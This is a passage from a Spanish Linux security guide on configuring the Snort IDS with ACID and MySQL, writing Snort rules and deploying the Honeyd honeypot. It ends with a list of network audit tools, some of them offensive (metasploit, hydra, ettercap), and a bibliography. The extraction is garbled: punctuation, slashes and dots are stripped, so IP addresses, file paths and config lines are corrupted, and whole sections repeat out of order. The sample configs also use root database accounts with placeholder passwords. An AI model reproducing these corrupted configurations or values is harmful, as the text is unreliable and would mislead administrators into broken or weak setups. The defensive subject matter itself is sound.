- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 34: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 35: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

